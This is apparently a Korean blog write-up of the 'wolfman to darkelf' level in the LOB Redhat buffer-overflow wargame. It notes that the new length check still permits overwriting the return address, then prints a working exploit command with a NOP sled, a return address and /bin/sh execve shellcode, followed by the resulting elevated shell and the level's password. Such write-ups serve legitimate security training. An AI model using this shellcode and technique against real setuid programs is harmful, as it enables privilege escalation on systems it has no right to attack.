본문 바로가기

wargame/LOB Redhat

wolfman to darkelf

이전 문제에 buf 길이검증을 하는 코드가 추가되었다.

그러나 48보다 커야 에러가 뜨며 48이면 ret까지 변조가 충분히 가능하기 때문에

전에 썻던 payload 그대로 사용하면 되겠다.

 

공격!

[wolfman@localhost wolfman]$ bash2

[wolfman@localhost wolfman]$ ./darkelf `perl -e 'print "\x90"x44,"\xff\xfd\xff\xbf"'` `perl -e 'print "\x90"x10000,

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?

풺ash$ id

uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman)

bash$ my-pass

euid = 506

kernel crashed

'wargame > LOB Redhat' 카테고리의 다른 글

orge to troll  (0) 2014.05.27
darkelf to orge  (0) 2014.05.27
orc to wolfman  (0) 2014.05.27
goblin to orc  (0) 2014.05.27
cobolt to goblin  (0) 2014.05.14